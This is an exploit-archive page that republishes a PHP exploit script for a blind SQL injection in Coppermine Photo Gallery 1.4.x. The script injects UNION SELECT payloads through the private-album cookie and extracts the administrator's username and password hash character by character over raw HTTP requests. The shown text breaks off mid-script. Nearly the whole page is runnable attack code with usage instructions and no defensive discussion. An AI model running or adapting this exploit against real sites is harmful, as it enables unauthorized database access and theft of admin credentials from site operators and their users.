Lucene search
K

Coppermine Photo Gallery <= 1.4.14 Remote SQL Injection Exploit

🗓️ 23 Jan 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Coppermine Photo Gallery <= 1.4.14 Remote SQL Injection Exploit. Exploit date: 17.05.07. Bug: SQL injection in private album function through array indexes with COOKIE

Code

                                                &lt;?php
#############################################
#&nbsp;RST/GHC&nbsp;PRIVATE&nbsp;
#&nbsp;CPG&nbsp;1.4.10&nbsp;sql&nbsp;injection&nbsp;exploit
#&nbsp;Date:&nbsp;17.05.07
#&nbsp;bug:&nbsp;SQL&nbsp;injection&nbsp;in&nbsp;private&nbsp;album
#&nbsp;function&nbsp;through&nbsp;array&nbsp;indexes&nbsp;with&nbsp;COOKIE&nbsp;
#############################################
error_reporting&nbsp;(E_ERROR);
ini_set(&quot;max_execution_time&quot;,0);
intro();
if&nbsp;($argc&nbsp;&lt;&nbsp;4&nbsp;){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;&nbsp;Usage:&nbsp;&quot;&nbsp;.&nbsp;$argv[0]&nbsp;.&nbsp;&quot;&nbsp;&lt;host&gt;&nbsp;&lt;dir&gt;&nbsp;&lt;force&gt;&nbsp;[table&nbsp;prefix]\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;host&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;hostname\n&quot;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;dir&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;web&nbsp;dirname&nbsp;\n&quot;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;force&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;force&nbsp;mode&nbsp;-&nbsp;'0'&nbsp;-&nbsp;for&nbsp;Off&nbsp;or&nbsp;\&quot;album&nbsp;number\&quot;&nbsp;for&nbsp;force&nbsp;mode&nbsp;On&nbsp;\n&quot;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[table&nbsp;prefix]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;prefix&nbsp;of&nbsp;sql&nbsp;tables\n&quot;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;&nbsp;example:&nbsp;&quot;&nbsp;.&nbsp;$argv[0]&nbsp;.&nbsp;&quot;&nbsp;coppermine.site&nbsp;photo/&nbsp;1&nbsp;cpg1410\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;credits();
}
###############################################
/*&nbsp;FUNCTIONS&nbsp;*/
##############################################

if&nbsp;(!function_exists(str_split)){&nbsp;###&nbsp;for&nbsp;PHP4&nbsp;&lt;&lt;&nbsp;FIX
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;str_split($str)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$str_array=array();&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$len=strlen($str);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for($i=0;$i&lt;$len;$i++)&nbsp;$str_array[]=$str{$i};
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$str_array;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
}

function&nbsp;toSql($str){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$a_str&nbsp;=&nbsp;str_split&nbsp;($str);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$s_str&nbsp;=&nbsp;'0x';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;($a_str&nbsp;as&nbsp;$val){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$s_str&nbsp;.=&nbsp;sprintf(&quot;%X&quot;,ord($val));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$s_str;
}

function&nbsp;toCookie&nbsp;($str){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$str&nbsp;=&nbsp;&quot;-1)&nbsp;UNION&nbsp;SELECT&nbsp;&quot;&nbsp;.toSql&nbsp;($str).&nbsp;&quot;,1&nbsp;as&nbsp;md5_password/*&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$c_str=array(0=&gt;&quot;8&quot;,&nbsp;$str=&gt;&quot;1&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$c_str&nbsp;=&nbsp;$GLOBALS['prefix'].'_albpw='.urlencode(serialize($c_str)).';'.$GLOBALS['cookies'];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$c_str;
}


function&nbsp;getAlbum($text){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(preg_match(&quot;/(?&lt;=album=)[1-9]{1}(?=\&quot;&gt;)/&quot;,&nbsp;$text,&nbsp;$match))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;intval($match[0]);&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;return&nbsp;0;

}

function&nbsp;getCookie($text){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(preg_match_all(&quot;/(?&lt;=Set-Cookie:)(.*)(?=expires)/&quot;,&nbsp;$text,&nbsp;$match))&nbsp;{$cookie&nbsp;=&nbsp;$match[0][0].$match[0][1];}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;{$cookie&nbsp;=&nbsp;'';}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$cookie;&nbsp;
}

function&nbsp;getPrefix($text){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(preg_match(&quot;/(?&lt;=\s)[a-z0-9_]*(?=_data)/&quot;,&nbsp;$text,&nbsp;$match))&nbsp;return&nbsp;trim($match[0]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;return&nbsp;false;
}

function&nbsp;toPage($page){
&nbsp;$pattern&nbsp;=&nbsp;&quot;/(?&lt;=HTTP).*(?=&lt;html)/s&quot;;
&nbsp;$replacement&nbsp;=&nbsp;'';
&nbsp;$page&nbsp;=&nbsp;preg_replace($pattern,$replacement,$page);
&nbsp;/*&nbsp;Let's&nbsp;count&nbsp;images&nbsp;on&nbsp;the&nbsp;page&nbsp;*/
&nbsp;if&nbsp;(preg_match_all(&quot;/&lt;img/&quot;,&nbsp;$page,&nbsp;$match))&nbsp;return&nbsp;count($match[0]);
&nbsp;else&nbsp;return&nbsp;0;
}

function&nbsp;sendit($page,&nbsp;$method,&nbsp;$cookie=''){
global&nbsp;$argv;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data&nbsp;='';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$host&nbsp;=&nbsp;$argv[1];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$page&nbsp;=&nbsp;$argv[2]&nbsp;.&nbsp;$page;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$referer&nbsp;=&nbsp;'http://'.$host;
&nbsp;&nbsp;&nbsp;&nbsp;$user_agent&nbsp;=&nbsp;'Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;5.01;&nbsp;Windows&nbsp;NT&nbsp;5.0)';
&nbsp;&nbsp;&nbsp;&nbsp;$result&nbsp;=&nbsp;'';&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80,&nbsp;$errno,&nbsp;$errstr,&nbsp;50);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$sock)&nbsp;die(&quot;$errstr&nbsp;($errno)\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($sock,&nbsp;&quot;$method&nbsp;/$page&nbsp;HTTP/1.0\r\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($sock,&nbsp;&quot;Host:&nbsp;$host&quot;&nbsp;.&nbsp;&quot;\r\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($sock,&nbsp;&quot;Content-type:&nbsp;application/x-www-form-urlencoded\r\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($sock,&nbsp;&quot;Content-length:&nbsp;&quot;&nbsp;.&nbsp;strlen($data)&nbsp;.&nbsp;&quot;\r\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($sock,&nbsp;&quot;Referer:&nbsp;$referer&quot;.&nbsp;&quot;\r\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($sock,&nbsp;&quot;User-Agent:&nbsp;&nbsp;$user_agent&quot;&nbsp;.&nbsp;&quot;\r\n&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($sock,&nbsp;&quot;Accept:&nbsp;*/*\r\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($cookie&nbsp;!=='')&nbsp;{fputs($sock,&nbsp;&quot;Cookie:&nbsp;$cookie\r\n&quot;);}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($sock,&nbsp;&quot;\r\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($sock,&nbsp;&quot;$data\r\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputs($sock,&nbsp;&quot;\r\n&quot;);

&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(!feof($sock))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$result&nbsp;.=&nbsp;fgets&nbsp;($sock,8192);
&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose($sock);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//print&nbsp;$result;&nbsp;###&nbsp;DEBUGER
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$result;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;
}

function&nbsp;credits(){
echo&nbsp;'
+==========================================+
+&nbsp;Coded:&nbsp;17.05.07&nbsp;*&nbsp;Bug&nbsp;found&nbsp;in&nbsp;Feb.2007&nbsp;&nbsp;+
+==========================================+
';&nbsp;
exit;
}


function&nbsp;intro(){
echo&nbsp;'
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;P&nbsp;R&nbsp;I&nbsp;V&nbsp;A&nbsp;T&nbsp;E&nbsp;&nbsp;*
+==========================================+
|&nbsp;RST/GHC&nbsp;Coppermine&nbsp;SQL&nbsp;injection&nbsp;exploit&nbsp;|
+==========================================+
|&nbsp;&nbsp;&gt;&gt;&gt;&nbsp;vulnerable:&nbsp;CPG&nbsp;1.4.10&nbsp;stable&nbsp;&nbsp;&lt;&lt;&lt;&nbsp;&nbsp;|
+------------------------------------------+
';

}

#####################################################################
###&nbsp;HACK&nbsp;FUNCTIONS
#####
####
###&nbsp;what&nbsp;to&nbsp;find:
##&nbsp;user_name&nbsp;&nbsp;&nbsp;user_password&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;&nbsp;cpg1410_users&nbsp;WHERE&nbsp;user_id=1
####################################################################

function&nbsp;makeExpl($param,&nbsp;$cond,&nbsp;$sn)&nbsp;###&nbsp;$param&nbsp;-&nbsp;name&nbsp;||&nbsp;password;&nbsp;$cond&nbsp;-&nbsp;condition&nbsp;(e.g.&nbsp;=97)&nbsp;;&nbsp;$sn&nbsp;&nbsp;-&nbsp;position&nbsp;
{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;$argv;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$tprefix&nbsp;=&nbsp;(isset($argv[4]))&nbsp;?&nbsp;$argv[4]&nbsp;&nbsp;:&nbsp;'cpg1410';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$query&nbsp;=&nbsp;'ASCII(substr((SELECT&nbsp;user_'.$param.'&nbsp;FROM&nbsp;'.$tprefix.'_users&nbsp;WHERE&nbsp;user_id=1),'.$sn.',1))'&nbsp;.&nbsp;$cond;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sql&nbsp;=&nbsp;'0)&nbsp;UNION&nbsp;SELECT&nbsp;'.$GLOBALS['album'].'&nbsp;AND&nbsp;'&nbsp;.$query.&nbsp;'/*';&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo&nbsp;$sql;&nbsp;###DEBUG
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;toCookie($sql);

}
//////////////
function&nbsp;blind($param,&nbsp;$sn,&nbsp;$fmin,&nbsp;$fmax)
{
&nbsp;if&nbsp;(($fmax-$fmin)&lt;5)&nbsp;{&nbsp;return&nbsp;crack($param,&nbsp;$fmin,&nbsp;$fmax,&nbsp;$sn)&nbsp;;}
&nbsp;$compare&nbsp;=&nbsp;intval($fmin&nbsp;+&nbsp;($fmax-$fmin)/2);
&nbsp;$crcheck&nbsp;=&nbsp;&quot;&gt;&quot;.&nbsp;$compare;
&nbsp;if&nbsp;(&nbsp;check(makeExpl($param,&nbsp;$crcheck,&nbsp;$sn))&nbsp;==&nbsp;1&nbsp;)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;blind($param,&nbsp;$sn,&nbsp;$compare,&nbsp;$fmax);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;blind($param,&nbsp;$sn,&nbsp;$fmin,&nbsp;$compare+1);&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
}

function&nbsp;crack($param,&nbsp;$cmin,&nbsp;$cmax,&nbsp;$sn)
{
&nbsp;for&nbsp;($i=$cmin;&nbsp;$i&nbsp;&lt;=$cmax;&nbsp;$i++){
&nbsp;&nbsp;&nbsp;$crcheck&nbsp;=&nbsp;'='.$i;
&nbsp;&nbsp;&nbsp;$sqlCookie&nbsp;=&nbsp;makeExpl($param,&nbsp;$crcheck&nbsp;,$sn);
&nbsp;&nbsp;&nbsp;if&nbsp;(check($sqlCookie)&nbsp;==&nbsp;1){print&nbsp;chr($i);&nbsp;return&nbsp;1;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
return&nbsp;0;
}

function&nbsp;check($sqlCookie){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;$page,&nbsp;$etalon;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$testPage&nbsp;=&nbsp;toPage(sendit&nbsp;($page,&nbsp;'GET',&nbsp;$sqlCookie));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($testPage&nbsp;&lt;&nbsp;$etalon)&nbsp;return&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;return&nbsp;0;
}

function&nbsp;exploit($param){&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;\nLet's&nbsp;define&nbsp;admin's&nbsp;&quot;.&nbsp;$param&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$min&nbsp;=&nbsp;48;&nbsp;&nbsp;#&nbsp;0
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$max&nbsp;=&nbsp;122;&nbsp;#&nbsp;z

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sql_cookies&nbsp;=&nbsp;makeExpl($param,'BETWEEN&nbsp;'.$min&nbsp;.&nbsp;'&nbsp;AND&nbsp;'.$max,1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(check($sql_cookies)&nbsp;==&nbsp;0)&nbsp;{echo&nbsp;'failed...';&nbsp;return;}

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sn=1;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(blind($param,$sn,&nbsp;$min,&nbsp;$max)&nbsp;!==&nbsp;0)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sn++;&nbsp;if&nbsp;($sn&nbsp;&gt;&nbsp;32)&nbsp;return;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
}

###############################################################
##&nbsp;START&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;E&nbsp;X&nbsp;P&nbsp;L&nbsp;O&nbsp;I&nbsp;T&nbsp;&nbsp;&nbsp;&nbsp;C&nbsp;O&nbsp;D&nbsp;E&nbsp;
#############################################################
echo&nbsp;'
Exploiting:
[+]&nbsp;target:&nbsp;'.&nbsp;$argv[1].'/'.$argv[2].'
';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$page&nbsp;=&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$firstReply&nbsp;=&nbsp;sendit($page,&nbsp;'GET');&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$album&nbsp;=&nbsp;getAlbum($firstReply);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;get&nbsp;valid&nbsp;album&nbsp;number
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($album&nbsp;==&nbsp;0)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;[-]&nbsp;No&nbsp;valid&nbsp;album&nbsp;found...\n&quot;;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($argv[3]&nbsp;!=&nbsp;0)&nbsp;{echo&nbsp;&quot;...&nbsp;Forcing\n&quot;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$album&nbsp;=&nbsp;$argv[3];}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;FOR&nbsp;FORCE&nbsp;MODE!!!!&nbsp;If&nbsp;you&nbsp;know&nbsp;exactly&nbsp;album&nbsp;number&nbsp;-&nbsp;put&nbsp;it&nbsp;here
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;{credits();}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$page&nbsp;=&nbsp;'thumbnails.php?album='.$album;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$GLOBALS['album']&nbsp;=&nbsp;$album;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;[+]&nbsp;Valid&nbsp;album&nbsp;number:&nbsp;&quot;.$album&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$GLOBALS['cookies']&nbsp;=&nbsp;getCookie($firstReply);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;get&nbsp;cookie&nbsp;from&nbsp;host

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$prefix&nbsp;=&nbsp;getPrefix($GLOBALS['cookies']);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;get&nbsp;cookie&nbsp;prefix
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;[+]&nbsp;Cookie&nbsp;prefix:&nbsp;&quot;&nbsp;.&nbsp;$prefix&nbsp;.&nbsp;&quot;\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$GLOBALS['prefix']=$prefix;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$etalon&nbsp;=&nbsp;toPage(sendit&nbsp;($page,&nbsp;'GET',&nbsp;$c_cookies));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;number&nbsp;of&nbsp;images&nbsp;at&nbsp;etalon&nbsp;page
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
